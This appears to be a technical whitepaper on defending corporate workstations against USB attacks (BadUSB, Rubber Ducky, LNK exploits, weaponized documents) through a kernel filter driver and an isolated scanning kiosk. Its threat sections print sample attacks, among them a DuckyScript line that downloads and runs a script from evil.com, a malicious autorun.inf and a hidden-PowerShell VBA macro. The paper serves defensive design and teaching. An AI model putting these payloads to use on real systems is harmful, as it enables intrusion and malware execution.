Enterprise USB Storage Security

Introduction & Problem Statement

The Problem in Plain Terms

When an individual connects a USB flash drive to a corporate workstation, that device is far more than simple storage. A USB device can:

• Impersonate a mouse or keyboard and inject malicious keystrokes
• Conceal viruses or Trojans within its file payload
• Be compromised at the firmware level (the internal chip software), rendering it invisible to any antivirus solution
• Exhibit abnormal electrical behavior capable of physically destroying host hardware

The Problem in Technical Terms

The USB attack surface spans every layer of the hardware OSI model — from the Physical/Electrical layer through the Application layer. Attack vectors such as BadUSB, Rubber Ducky, USB Killer, LNK Exploit, and Firmware-level Rootkits each operate at a distinct layer, and no single-layer defense can comprehensively mitigate all of them.

The Hard Truth

A conventional antivirus solution can never detect an attack at the firmware or electrical layer of a USB device — because it has no access to those levels whatsoever.

Our Solution

Our two-layer architecture provides defense-in-depth against the full spectrum of USB threats by addressing distinct attack layers:

Layer	Name	Function
Layer 1	Host Protection	USB devices are software-locked at the host OS driver level (no physical port disablement required)
Layer 2	Virtual Kiosk	USB devices are redirected to an isolated virtual machine where files are scanned in parallel by multiple antivirus engines; only verified clean files are transferred to the corporate network

System Architecture Overview

The system comprises a hierarchical defense chain, with each stage sanitizing the USB device at a specific threat level. Data flows upward from the USB port (bottom) to the corporate network (top):

Core Component Descriptions

Layer 1 — Host Protection

Three primary components operate at the host level:

• USB Filter (Minifilter): Initial interception of USB connection events at the kernel level
• Class Classifier: Device type identification based on Device Class (Storage / HID / CDC / ...)
• Policy Engine: Decision logic enforcing one of three actions: Allow / Deny / Redirect

At the base of this chain, the USBDk.msi engine serves as the passthrough layer, transferring the USB device from the host to the virtual machine.

Layer 2 — Virtual Kiosk

Files on the USB device traverse the following pipeline within the isolated environment:

1. USB Mount (Read-Only): Device attached with read-only access
2. File Extraction: Structured extraction of file contents
3. Multi-AV Engine: Parallel scanning across seven antivirus engines (AV1 through AV7)
4. Verdict Engine: Final determination of file integrity
5. Secure Transfer API: Secure delivery of approved files to the corporate network

Layer 1: USB Control at the Host Level

To understand how USB devices can be controlled without physically disabling ports, it is first necessary to understand how a USB device connects to the operating system.

USB Connection Stages (USB Enumeration)

Simplified View — How Does a Flash Drive Connect?

The connection of a USB device to the operating system follows these stages:

1. Physical Connection The user inserts the flash drive into the port. Electrical current is established, and the USB Host Controller detects a voltage change on the D+ and D- pins.

2. Hardware Identification (Bus Enumeration) The USB Host Controller assigns an address to the device, requests its Device Descriptor, and the device responds with its identity (VID, PID, Device Class).

3. Driver Loading (Driver Binding) The operating system selects the appropriate driver based on the Device Class; for example: Mass Storage → disk.sys or HID → hidusb.sys.

4. User-Space Access The file system driver (FAT32, NTFS) mounts the volume, and the user sees the files in Explorer.

Technical View — Complete USB Protocol Stack

Every USB connection traverses six protocol layers. Understanding these layers is essential for designing a security architecture:

Details of each layer:

Layer	Name	Key Components
0	Physical Layer	USB 2.0/3.0 electrical signals on VBUS, D+, D-, GND pins
1	USB Protocol Layer	SETUP → DATA → ACK transactions, Control Transfers, Descriptor Fields such as bDeviceClass, idVendor, idProduct
2	Host Controller Driver	xHCI / eHCI / oHCI driver, URB processing, Interrupt/Bulk/Isochronous/Control pipe management
3	USB Bus Driver	Hub management, port power allocation, Device Node creation in the PnP Device Tree
4	Function Driver	Class-specific drivers: USBSTOR.sys → disk.sys for Storage, hidusb.sys → kbdhid.sys for HID
5	File System / Application	NTFS.sys / FAT32 / exFAT, volume mounting, drive letter assignment, and user-space access

Key Architectural Insight

Security software can intervene at any of Layers 2 through 5. Layer 0 (Electrical) and Layer 1 (Protocol) can only be controlled through hardware-level measures.

Comprehensive USB Threat Classification by Layer

Master Threat Matrix

The following table presents the ten primary USB threats along with their active layer and severity level:

#	Threat Name	Brief Description	Active Layer	Severity
1	USB Killer	Injects 220V via internal capacitors, destroying the port upon connection	Layer 0	⚡ Hardware Destruction
2	BadUSB / Firmware Trojan	Rewrites controller firmware (e.g., Phison 2251) using tools such as psychson	Layer 1	🔴 Critical
3	Rubber Ducky / HID Attack	Programs a microcontroller (ATmega32u4) with DuckyScript for keystroke injection	Layer 1–2	🔴 Critical
4	USB Crazy / Mouse Jiggler	Sends continuous random mouse movements and key combinations to disrupt the system	Layer 2–3	🟠 High
5	Autorun Malware	Places an autorun.inf file pointing to a malicious payload	Layer 5	🟡 Medium
6	LNK Exploit (Stuxnet-style)	Crafts a .lnk file with a malicious icon referencing an infected DLL (CVE-2010-2568)	Layer 5	🔴 Critical
7	Weaponized Document	Injects VBA macros into Office files, JavaScript exploits into PDFs, or OLE embedding into RTFs	Layer 5	🟠 High
8	Hidden Partition / Dual Firmware	Creates a hidden partition or dual firmware with time-based activation conditions	Layer 1 + 5	🔴 Critical
9	USB-to-Ethernet / NIC Attack	Presents the device as a network adapter and executes a MITM attack (LAN Turtle)	Layer 3–4	🔴 Critical
10	USB Data Exfiltration	Deploys PowerShell/Python scripts for automated copying of sensitive data	Layer 5	🟠 High

---

Detailed Threat Analysis

Threat 1: USB Killer (Electrical Layer)

Severity: Physical Hardware Destruction

This attack occurs at Layer 0 (Physical) and no software solution can prevent it. The only viable defense is hardware-level protection.

Attack Mechanism:

The USB Killer harvests energy from the VBUS +5V line using internal high-voltage capacitors and discharges it as a reverse electrical shock of −220 volts into the motherboard. This cycle repeats multiple times per second:

Stage	Action
1. Intake	Harvests energy from VBUS +5V
2. Storage	Charges internal capacitor bank
3. Discharge	Releases a −220V shock toward the motherboard
4. Result	💥 Destruction of the USB port, chipset, and in some cases the entire motherboard

Technical Threat Profile:

Attribute	Value
Active Layer	Layer 0 — Entirely electrical
Software Detectability	❌ None — destruction occurs before the OS is reached
Construction	Commercially available or DIY with high-voltage capacitors
Defense Principle	Prevent destructive energy from reaching the motherboard at the physical level

Hardware Defense Architecture (Hardware USB Protection):

To counter this threat, a hardware protection chain is placed between the USB port and the motherboard. The architecture from bottom (near motherboard) to top (near USB port) is as follows:

Software Control Layer (After Signal Passes Hardware Filters):

Once the signal is cleared of electrical threats, the standard software security control flow begins:

Device Detection → Allowlist / Policy → AV / EDR → VM / USB Redirection

Critical Note

USB Killer operates at Layer 0; therefore, USB Redirection, VMs, antivirus, and EDR alone cannot prevent electrical damage. For this threat, a Hardware USB Protection / USB Isolator in the physical USB path is mandatory.

---

Threat 2: BadUSB / Firmware Trojan (Firmware Layer)

Severity: Critical

The attacker rewrites the USB controller chip firmware (e.g., Phison 2251) using tools such as psychson. During enumeration, the device presents itself to the operating system as a composite of mass storage + hardware keyboard.

Comparison: Clean vs. Infected Firmware:

Attribute	🟢 Clean Firmware	🔴 Infected Firmware (Composite)
Device Class	0x08 (Mass Storage)	0x00 (Composite Device)
Interface 1	0x08 — Storage	0x08 — Storage (decoy)
Interface 2	—	0x03 — HID (hidden keyboard)
Observable Behavior	File transfer only	Appears as a flash drive but auto-types commands

Malicious Firmware Injection Simulation:

The attacker manipulates standard USB descriptors within the firmware:

# Firmware Descriptor Poisoning Simulation (via Psychson)

original = {
    "bDeviceClass":    0x08,
    "bInterfaceClass": 0x08,
    "idVendor":        0x058F,
    "idProduct":       0x6387,
}

malicious = {
    "bDeviceClass": 0x00,
    "interfaces": [
        { "bInterfaceClass": 0x08 },                     # Decoy: Mass Storage
        { "bInterfaceClass":    0x03,                    # HID
          "bInterfaceSubClass": 0x01,
          "bInterfaceProtocol": 0x01 },                  # Keyboard
    ],
}

Attack Outcome

The operating system simultaneously recognizes the device as a flash disk and a hardware keyboard. The attacker injects terminal commands directly, without requiring elevated (Administrator) privileges.

Technical Threat Profile:

Attribute	Value
Active Layer	Layer 1 (Firmware/Protocol)
Most Dangerous Feature	Conventional antivirus scans the file system, not the firmware
System Indicator	Device Manager shows the device as a Composite Device with multiple interfaces
Attacker Tools	psychson, BadUSB Toolkit, direct chip programming

---

Threat 3: Rubber Ducky / HID Attack (Protocol + Driver Layer)

Severity: Critical

A device equipped with a microcontroller such as the ATmega32u4 or Teensy presents itself as a USB keyboard and rapidly types pre-written DuckyScript payloads.

Attack Chain:

Microcontroller (ATmega32u4) → USB HID Keyboard Protocol → Windows Input Buffer → Command Execution

Sample DuckyScript Payload:

DELAY 1000
GUI r                          # Win+R — Open the Run dialog
DELAY 500
STRING powershell -w hidden -ep bypass
STRING  -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/sh.ps1')"
ENTER                          # Execute the download-and-run payload
DELAY 2000
GUI d                          # Minimize all windows to remain hidden

Threat Assessment:

Attribute	Value
Total Execution Time	3 to 5 seconds
Detectability by Traditional AV	❌ Undetectable
Infection Method	Write DuckyScript and flash to microcontroller
Active Layer	Layer 1–2 (HID Protocol)
Detection Layer	Layer 3 — Detect superhuman typing speed and keystroke patterns

---

Threat 4: USB Crazy / Mouse Jiggler (Driver Layer)

Severity: High

The objective of this threat is operational disruption, not payload execution. The device continuously floods the system with mouse and keyboard input, effectively paralyzing it.

Attack Execution Stages:

1. Dual Identity Spoofing (Dual Emulation): Immediately upon connection, the device presents itself simultaneously as a standard mouse and a hardware keyboard to the operating system, receiving driver approval.

2. Screen Lock Bypass (Anti-Screen Lock): It sends subtle, random mouse movement signals at short intervals to prevent the activation of Screen Lock or Sleep mode.

3. Destructive Keystroke Injection: It begins transmitting dangerous system key combinations such as Alt + F4 (close applications), Win + D (show desktop), or critical combinations designed to disrupt security tools.

4. Input Storm (Crazy Mode): In the final phase, all mouse and keyboard inputs are transmitted simultaneously, continuously, and at maximum processing speed. This causes an overflow in the operating system's input buffer, effectively paralyzing the system (hardware-level Denial of Service).

Final Target State

Complete disruption of operator functionality, loss of system control, and operating system stability collapse — all without detection by conventional security tools.

Technical Profile:

Attribute	Value
Active Layer	Layer 2–3
Distinction from Rubber Ducky	Objective is operational disruption, not payload execution

---

Threat 5: Autorun Malware (File System Layer)

Current Status

Windows 10/11 disables USB Autorun by default; however, on legacy systems (Windows 7 and earlier), this remains an active threat.

File Structure on an Infected Flash Drive (Root of E:\):

• 📄 autorun.inf — Hidden, system configuration file
• ⚡ malware.exe — Primary malware payload (hidden, system attribute)
• 🖼️ folder.ico — Decoy icon to deceive the user
• 📁 Documents/ — Legitimate folder used as bait

Contents of the autorun.inf Configuration File:

; ── Windows Autorun Directives ──
[AutoRun]
Open=malware.exe
Action=Open folder to view files
Icon=folder.ico
Label=Documents
Shell\Open\Command=malware.exe
Shell\Explore\Command=malware.exe

Deception Mechanism

Older operating systems (such as Windows 7 and earlier) process the autorun.inf file immediately upon connecting a removable drive, presenting the malware to the user disguised as a folder icon (bait).

Technical Profile:

Attribute	Value
Active Layer	Layer 5 (File System)
Detection Layer	File System Filter Driver (Minifilter)
Status on Modern OS	Disabled by default

---

Threat 6: LNK Exploit (File System Layer — Extremely Dangerous)

Most Dangerous Feature

This attack requires no click! Simply opening the folder in Windows Explorer is sufficient to execute code (Zero-Click Attack).

File Structure on the Infected Flash Drive:

• ⚙️ ~WTR4141.tmp — Primary malicious DLL
• ⚙️ ~WTR4132.tmp — Secondary malicious DLL
• 🔗 Copy of Shortcut.lnk — Manipulated shortcut file

Zero-Click Execution Mechanism:

1. The user simply opens the root folder of the flash drive in Windows Explorer to view its contents.

2. The Windows Shell service parses the .lnk shortcut to render its graphical icon.

3. Due to a parser vulnerability, the operating system directly loads the DLL files referenced as icons into memory and immediately executes them!

Historical Case: Stuxnet 2010

The LNK vulnerability (CVE-2010-2568) was leveraged as one of the most sophisticated propagation tools of the Stuxnet cyberweapon. Using this automated technique, the worm successfully crossed the air-gap and infiltrated the SCADA industrial control systems governing the centrifuge arrays at Iran's Natanz nuclear facility.

Technical Profile:

Attribute	Value
Active Layer	Layer 5 (File System + Shell Extension)
Most Dangerous Feature	No click required — merely opening the folder is sufficient
Reference CVE	CVE-2010-2568

---

Threat 7: Weaponized Documents (Application Layer)

Severity: High

Malicious documents are among the most common USB attack vectors. Attackers rely on social engineering techniques to persuade users into activating malicious content.

Target Formats and Exploitation Methods:

Format	Exploitation Method
.docx / .docm	VBA Macro
.xlsx / .xlsm	VBA Macro + DDE Injection
.pdf	JavaScript Exploit
.rtf	OLE Embedding
.pptx	Action Exploit

Sample Malicious VBA Macro in a Word Document:

'── Malicious Word VBA Macro (Auto-Execution) ──
Sub AutoOpen()
    ' Executed automatically upon document opening
    Dim cmd As String
    cmd = "powershell -WindowStyle Hidden -EncodedCommand "
    cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0..."
    Shell cmd, vbHide
End Sub

Security Note

By default, the Windows operating system and Microsoft Office suite disable macros. However, attackers leverage social engineering to persuade victims to click the Enable Content button, thereby authorizing the execution of the malicious code embedded behind the document.

Technical Profile:

Attribute	Value
Active Layer	Layer 5 (Application)
Detection Layer	Inside the kiosk via Multi-AV with Static Analysis and Sandbox

---

Threat 8: Hidden Partition / Dual Firmware (Firmware + File System Layer)

Most Dangerous Feature

This threat appears completely clean during initial scans. The firmware only reveals its malicious behavior after multiple boot cycles or connections.

Physical Memory Space Allocation:

Partition	Status	Contents
Partition 1 (Normal)	🟢 Visible to OS	Legitimate files, work documents, and a conventional drive structure to deceive the user
Hidden Partition	🔴 Invisible / Dormant	Malicious payloads, exploitation scripts, and HID payload conversion code

Conditional Activation Algorithm at the Firmware Level:

// ── Firmware Dormancy & Anti-Analysis Logic ──
IF boot_count > 3 THEN
    expose_hidden_partition();     // Reveal malicious partition at hardware level
    change_device_class(HID);      // Switch device identity from Storage to Keyboard
END IF

Sandbox Evasion Technique

The firmware remains dormant until the device has been connected or rebooted multiple times; this mechanism prevents malware detection in automated security sandboxes (which typically scan the drive only once).

Technical Profile:

Attribute	Value
Active Layer	Layer 1 + Layer 5
Most Dangerous Feature	Appears clean during initial scans

---

Threat 9: USB-to-Ethernet / Network Hijack (Driver + Network Layer)

Severity: Critical

Devices such as the LAN Turtle or Packet Squirrel present themselves as USB network adapters and route the victim system's entire network traffic through themselves.

Attack Chain:

1. Network Identity Presentation: The USB device, with bInterfaceClass = 0x02 (CDC), presents itself to the operating system as a new network adapter.

2. Automatic OS Acceptance: The operating system displays a "New Network Adapter Detected!" notification, immediately loads the corresponding driver, and activates the malicious network card.

3. Rogue DHCP Server Deployment: The device configures itself as the Default Gateway, redirects DNS to the attacker's server, and routes all system network traffic through the USB interface.

4. Man-in-the-Middle Attack: Credential harvesting, malicious content injection into traffic, and URL redirection to phishing websites become trivially achievable.

Security Note

This attack executes on Windows even without Administrator privileges, because the operating system accepts any new network adapter by default and prioritizes its DNS configuration.

Technical Profile:

Attribute	Value
Active Layer	Layer 3–4 (Bus Driver + Network)
Attacker Tools	LAN Turtle, Packet Squirrel, USB Rubber Ducky (network variant)
Detectability	Requires monitoring of new network adapters at the OS level

---

Software-Based USB Locking Without Physical Port Disablement

How Do We Lock USB Without Physically Disabling the Port?

Simple Answer

We prevent the operating system from loading a driver for the USB device. The device is physically connected and powered, but the operating system is not permitted to communicate with it.

Technical Answer

A Kernel-mode Filter Driver (Minifilter) is inserted into the USB Driver Stack between the USB Hub Driver and the Function Driver. Based on the Device Descriptor, it enforces an Allow / Deny / Redirect decision.

USB Filter Driver Architecture in Windows

The position of the custom security filter within the Windows USB driver stack is illustrated below. The flow moves from bottom (physical port) to top (user application):

OS Packet Interception Points

The security filter intercepts the following IRP requests at the kernel level:

• IRP_MJ_PNP
• IRP_MN_START_DEVICE
• IRP_MJ_INTERNAL_DEVICE_CONTROL

Decision Matrix

Each USB device is evaluated based on its Device Class according to the following table:

Device Class	Action	Rationale
0x08 Mass Storage	🟢 REDIRECT → PVM	Storage flash drives are forwarded to the VM
0x03 HID	🔴 BLOCK (if unauthorized)	Only approved keyboards/mice are permitted
0x02 CDC / Network	🔴 BLOCK	USB network adapters are strictly prohibited
0x0E Video	🔴 BLOCK	USB webcams are prohibited
0x01 Audio	🟡 Policy-based	Per organizational policy
0x07 Printer	🟡 Policy-based	Per organizational policy
Composite Device	🔴 BLOCK + ALERT	Multiple interfaces = suspected BadUSB

Anti-BadUSB Logic

In addition to the decision matrix, the filter incorporates behavioral detection logic for advanced attacks:

# Anti-BadUSB Logic

IF device_claims_HID AND device_has_storage THEN
    BLOCK + ALERT("Possible BadUSB")

IF keystroke_speed > 50 chars/sec THEN
    BLOCK + ALERT("Possible Rubber Ducky")

USB Security Filter Driver Operation

This architecture introduces a custom security layer at the driver level into the Windows USB stack, ensuring that USB devices are inspected and controlled before entering the main operating system path.

The filter intercepts critical USB events and requests, evaluates the device type and security policy, and accordingly performs Allow, Block, Alert, or Redirect to PVM operations.

Additionally, Anti-BadUSB logic is implemented to identify suspicious behaviors such as the combination of HID and Storage interfaces or abnormally high keystroke speeds.

This structure ensures that USB device control is performed at a centralized, manageable enforcement point, with security policies applied before the device proceeds further into the system.

Ultimate Objective

Establish a centralized control point for enforcing security policies on USB devices and preventing unauthorized access or unsafe behaviors, without sacrificing usability.

Step-by-Step Filter Driver Workflow

The security filter's execution flow is summarized in four key steps:

Step 1: Physical USB Connection

• The Host Controller detects a voltage change
• The Hub Driver enumerates the device
• The Device Descriptor is read

Step 2: Filter Driver Activation

The filter intercepts the IRP_MN_QUERY_DEVICE_RELATIONS request and analyzes the Device Descriptor:

• VID / PID
• Device Class
• Number of interfaces (for Composite Device detection)
• String Descriptor (device brand name)

Step 3: Decision Tree

The filter makes its determination based on the following logic:

IF Class == Mass Storage (0x08) AND NOT Composite AND VID/PID in Whitelist
    THEN ACTION = REDIRECT to PVM VM

ELSE IF Class == HID (0x03) AND NOT in Approved_Keyboards
    THEN ACTION = BLOCK
    ALERT = "Unauthorized HID"

ELSE IF Composite Device
    THEN ACTION = BLOCK
    ALERT = "Possible BadUSB"

ELSE ACTION = BLOCK (Default Deny)

Step 4: Decision Execution

In BLOCK Mode

The IRP_MN_START_DEVICE request is returned with STATUS_ACCESS_DENIED. The Function Driver is not loaded, and the device appears in Device Manager with a ❌ indicator, while the physical port remains active.

In REDIRECT Mode

USB Passthrough is routed via USB-Redirect to the PVM virtual machine for inspection in the isolated environment.

HID Attack Detection (Rubber Ducky / BadUSB)

The HID attack detection engine operates based on five complementary rules:

Rule 1: Typing Speed Analysis

• Real human: 5 to 10 characters per second
• Rubber Ducky: Over 1,000 characters per second

Warning

If typing speed exceeds 50 char/s → BLOCK

Rule 2: Timing Pattern Analysis

• Real human: Irregular intervals between keystrokes
• Rubber Ducky: Precisely uniform intervals

Warning

If jitter is less than 2ms → SUSPICIOUS

Rule 3: Composite Device Detection

• Normal flash drive: Mass Storage only
• BadUSB: Mass Storage + HID simultaneously

Danger

If Storage and HID appear on a single device → BLOCK

Rule 4: VID/PID Anomaly Detection

If the VID/PID claims a reputable brand (e.g., Kingston) but its Descriptor tree does not match known Kingston devices → ALERT

Rule 5: Re-enumeration Detection

If a device repeatedly disconnects / reconnects (an identity-switching technique to evade policy) → BLOCK

---

The Role of USB-Redirect (USB Development Kit)

What Is USB-Redirect?

In Simple Terms

USB-Redirect is a middleware software that allows us to remove a physical USB device from the host operating system's reach and deliver it directly to a virtual machine. It is as if you unplugged the USB from the main computer and plugged it into another — but without any physical movement.

In Technical Terms

USB-Redirect is a Windows Kernel-mode Driver that provides USB Device Passthrough without requiring USB/IP or a Client-Server model, directly through the Low-level USB API. This driver operates at the USB Hub Driver level, detaching the device from the Windows PnP Device Tree and forwarding URBs directly to user-space (and from there to the PVM).

USB-Redirect Architecture

USB-Redirect operates in both Kernel and User-space. The flow moves from the physical port toward the PVM process:

Core Functions of UsbDk.sys

The Kernel driver performs four critical functions:

1. Device Enumeration & Discovery — Detecting connected USB devices
2. Device Detach from Windows PnP Tree — Removing the device from the Windows PnP tree
3. URB Interception & Forwarding — Intercepting and relaying USB requests
4. Reset & Re-attach on VM Shutdown — Restoring the device to the host after VM shutdown

Why USB-Redirect Over Alternatives?

Comparison of USB-Redirect with two competing solutions:

Criterion	USB-Redirect	USB/IP	SPICE USB Redirect
Network Required	❌ No	✅ Yes	✅ Yes
Latency	Very Low	Moderate	Moderate
USB 3.0 Support	✅ Full	Limited	Limited
Installation	✅ Single MSI	Complex	Requires SPICE Server
Kernel-level Operation	✅	❌ User-space	❌ User-space
Open Source	✅ (Apache 2.0)	✅	✅

---

Layer 2: USB Isolation in the PVM Virtual Kiosk and Parallel Multi-AV Scanning

USB Redirection to the Virtual Machine

Concept in Simple Terms

Imagine a quarantine room in a hospital. When a suspicious patient arrives, they are taken directly to the quarantine room — not to the general ward. There, they are tested, and only if cleared are they allowed into the main facility.

• USB = Suspicious patient
• PVM Virtual Machine = Quarantine room
• Corporate Network = Hospital's general ward

Why Don't Malicious Scripts Execute in the Virtual Kiosk?

Simple Answer

The virtual machine is configured so that no program can execute from the USB. It is as if you connected the flash drive to a computer that has no ability to run programs at all — it can only view and copy files.

Why Each Threat Is Neutralized in the VM Kiosk

Threat	Why It Is Neutralized in the VM
USB Killer	Electrical damage affects only the Host Controller — the VM suffers no software impact*
BadUSB / HID Attack	Blocked at Layer 1 — never reaches the VM
Rubber Ducky	Blocked at Layer 1 — HID is not permitted
Autorun	autorun.inf does not execute in the VM + mounted with noexec
LNK Exploit	VM is Linux-based; Windows .lnk files are meaningless
Weaponized Document	File is not opened in the VM — only scanned
USB Network Attack	Blocked at Layer 1 — CDC Class is not permitted
Hidden Partition	VM performs Read-Only mount and scan only — execution is impossible
Script / EXE Execution	Mounted with noexec flag — no binary can execute
VM Escape Exploit	VM is destroyed and rebuilt from a snapshot after every session

Note

*USB Killer is the only threat requiring hardware protection — not software.

Parallel Multi-AV Scanning

Simple Analogy

Suppose you have a suspicious letter. Instead of showing it to one expert, you simultaneously show it to five different experts. If even one says "this is dangerous," the letter is not delivered.

This is precisely what Multi-AV does: multiple antivirus engines examine files simultaneously and in parallel.

Multi-AV Engine Architecture

The overall flow of the parallel scanning engine from input (USB files) to final output (transfer or quarantine) is as follows:

Parallel Antivirus Engines

Each file is simultaneously dispatched to multiple independent AV engines:

Engine	Specialty
ClamAV	Open Source, Signature DB, fast scanning
ESET NOD32	Advanced heuristics, emulation
Kaspersky	Behavioral analysis, cloud-backed, deep inspection
Sophos	ML-based detection, Threat Intelligence
Windows Defender	AMSI integration, Cloud Protection
AV Container N	Extensible with YARA Rules and Custom Signatures

Verdict Engine Logic

Result aggregation based on majority vote and the "absolute warning" principle:

IF any AV detects malware THEN
    verdict = BLOCK

IF all AV clean THEN
    verdict = ALLOW

Parallel Scan Mechanics

Parallel scanning means executing multiple AV engines simultaneously on a single file. The total scan time equals the slowest AV, not the sum of all AV times.

Scenario 1: Clean File — report.docx (2MB)

Engine	Scan Time	Result
ClamAV	1.2s	✅ Clean
ESET	2.1s	✅ Clean
Kaspersky	2.8s	✅ Clean
F-PROT	1.7s	✅ Clean
Symantec	2.0s	✅ Clean

Clean Scan Result

Total Time: 2.8 seconds (not 9.8 seconds) — Parallel scan: time = slowest AV

Verdict: ✅ ALL CLEAN → Transfer Approved

Scenario 2: Infected File — update.exe (500KB)

Engine	Scan Time	Result
ClamAV	0.8s	✅ Clean
ESET	0.6s	🔴 Trojan.Gen
Kaspersky	2.5s	🔴 HEUR:Trojan
F-PROT	1.5s	✅ Clean
Symantec	1.2s	🔴 Trojan:Win32

Infected Scan Result

Verdict: 🔴 3 out of 5 engines detected malware → BLOCKED + QUARANTINED

Alert dispatched to the SOC team.

Advantages of Parallel Multi-AV Scanning

Comparison between single-antivirus and Multi-AV approaches:

Criterion	Single Antivirus	Parallel Multi-AV
Detection Rate	85–95%	Over 99.5%
Zero-day Detection	Weak to Moderate	High (combined heuristics from multiple AVs)
Scan Time	T	T (not N×T — parallel execution)
False Positive Management	Single opinion	Majority voting
Malware Type Coverage	Vendor-dependent	Comprehensive and diverse

---

Secure File Transfer Process to the Corporate Network

The secure transfer pipeline consists of five sequential stages. No file can reach the corporate network without passing through all of them:

Stage 1: Mount

The USB is mounted in the VM with the ReadOnly flag — no file can execute, and no write operations are performed on the USB.

Stage 2: Discovery

• Verification of actual MIME type (not just file extension)
• Computation of SHA-256 hash for each file
• Detection of hidden and system files
• Extraction of nested archives (.zip → .rar → .7z → ...)
• Detection of files with spoofed extensions (e.g., a .jpg that is actually an .exe)

Stage 3: Policy Check

Enforcement of organizational policies on each file:

• Permitted formats: .pdf, .docx, .xlsx, .jpg, .png, ...
• Prohibited formats: .exe, .bat, .ps1, .vbs, .dll, ...
• Maximum file size: e.g., 100MB
• Maximum file count: e.g., 500

Warning

⛔ Prohibited files → Deleted + Reported  |  ✅ Permitted files → Proceed to Stage 4

Stage 4: Multi-AV Parallel Scan

Each file is simultaneously dispatched to 4–8 AV engines (as detailed in the preceding section).

Warning

⛔ Any infected file → Quarantined + Alerted  |  ✅ Clean files → Proceed to Stage 5

Stage 5: Cleanup

Complete Environment Sanitization

• USB is detached from the VM
• VM is reverted to its initial snapshot
• All VM changes are destroyed
• Full report is sent to the SIEM
• User views the result

---

Summary: Why This Architecture Completely Neutralizes USB Threats

Defensive Coverage Matrix

The following table demonstrates at which architectural layer each threat is neutralized:

Threat	Layer 1 (Host Filter)	Layer 2 (VM Kiosk)	Final Outcome
USB Killer	N/A (Electrical)	Isolated from Host	⚠️ Requires HW Guard
BadUSB HID Attack	★ BLOCKED (Class Filter)	N/A (never reaches)	✅ SAFE
Rubber Ducky	★ BLOCKED (Speed Detect)	N/A (never reaches)	✅ SAFE
USB Crazy	★ BLOCKED (HID Block)	N/A (never reaches)	✅ SAFE
Autorun Malware	REDIRECT → VM	★ BLOCKED (noexec)	✅ SAFE
LNK Exploit	REDIRECT → VM	★ BLOCKED (Linux VM)	✅ SAFE
Malicious Document	REDIRECT → VM	★ SCANNED (Multi-AV)	✅ SAFE
USB Network	★ BLOCKED (CDC Block)	N/A (never reaches)	✅ SAFE
Hidden Partition	REDIRECT → VM	★ SCANNED (Full scan)	✅ SAFE
Data Exfiltration	REDIRECT → VM	★ BLOCKED (No write to USB)	✅ SAFE

🎯 Overall Coverage

10 out of 10 known USB threats are covered by this architecture.

USB Killer, due to its electrical nature, requires a complementary hardware protection measure.

Executive Summary — Complete USB Protection Cycle

The full protection flow from the moment of user connection to the secure transfer of files to the corporate network:

❶ User Connection

The user plugs the USB device into the workstation.

❷ Filter Driver (Layer 1)

The device type is evaluated:

• HID / Network / Unknown → Immediately BLOCKED
• Mass Storage → REDIRECTED to VM

Info

The device never gains access to the primary operating system.

❸ Passthrough

USB-Redirect detaches the device from the host and delivers it to the PVM virtual machine.

❹ Inside the VM (Layer 2)

• USB is mounted with restrictions (ro, noexec)
• No scripts or programs can execute
• Files are extracted and 4–8 antivirus engines scan simultaneously

❺ Secure Transfer

Success

Only files with permitted formats that are deemed clean by all AV engines are transferred to the corporate network.

❻ Revert

The kiosk is restored to its initial state, and any potential contamination is destroyed.

---

🎯 Final Outcome

The USB device is rendered functionally inert, yet clean files are transferred with full confidence.

This architecture, by combining kernel-level software control with virtual machine isolation, provides comprehensive and effective defense-in-depth against all known USB threats.